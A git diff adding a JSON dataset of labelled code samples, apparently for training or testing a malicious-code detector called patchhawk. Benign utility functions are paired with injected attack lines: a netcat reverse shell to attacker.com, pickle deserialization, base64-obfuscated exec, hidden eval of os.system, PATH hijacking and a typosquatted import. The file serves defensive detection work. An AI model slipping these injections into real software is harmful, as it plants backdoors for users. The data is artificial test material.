diff --git "a/patchhawk/data/scenarios.json" "b/patchhawk/data/scenarios.json" --- "a/patchhawk/data/scenarios.json" +++ "b/patchhawk/data/scenarios.json" @@ -1,28 +1,14398 @@ [ { - "id": "tp_80d1fbee", + "id": "fn_44833cb7", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_de876ccd", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_3c1cdf59", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_16b125b2", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_17ef3c5e", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_fdde8c32", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_c1247eae", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_da9fe441", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_2eb120ba", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_a7c9726b", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_39a79899", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_5ed0a950", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b667a314", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_39244e2a", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_071739a8", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_62673d8d", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_0617f3a5", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_9674754d", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_e75c0a5a", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_a8ffb1f1", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_9fba02f6", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_f093c12e", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_275b8e9f", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_950138b0", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1d164f61", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_2792d2e9", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_6866d7cc", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_3d4ee5b9", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_bcd88d47", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3a31438c", + "type": "functional", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_6b21eb9f", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_214cd99d", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_f366028c", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_3f1f8326", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_169d1eaf", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_d719cfd0", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_eab57da7", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_9ba70549", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_8e032dba", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_c080436b", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_37ecb6d4", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_22aa0400", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_3f0771d8", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_6e752482", + "type": "functional", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f17d53a0", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_f6ffe5aa", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1aea154f", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_5954d0e0", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_57e82366", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_6a7aff49", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_02659223", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef parse_url_params(url):\n 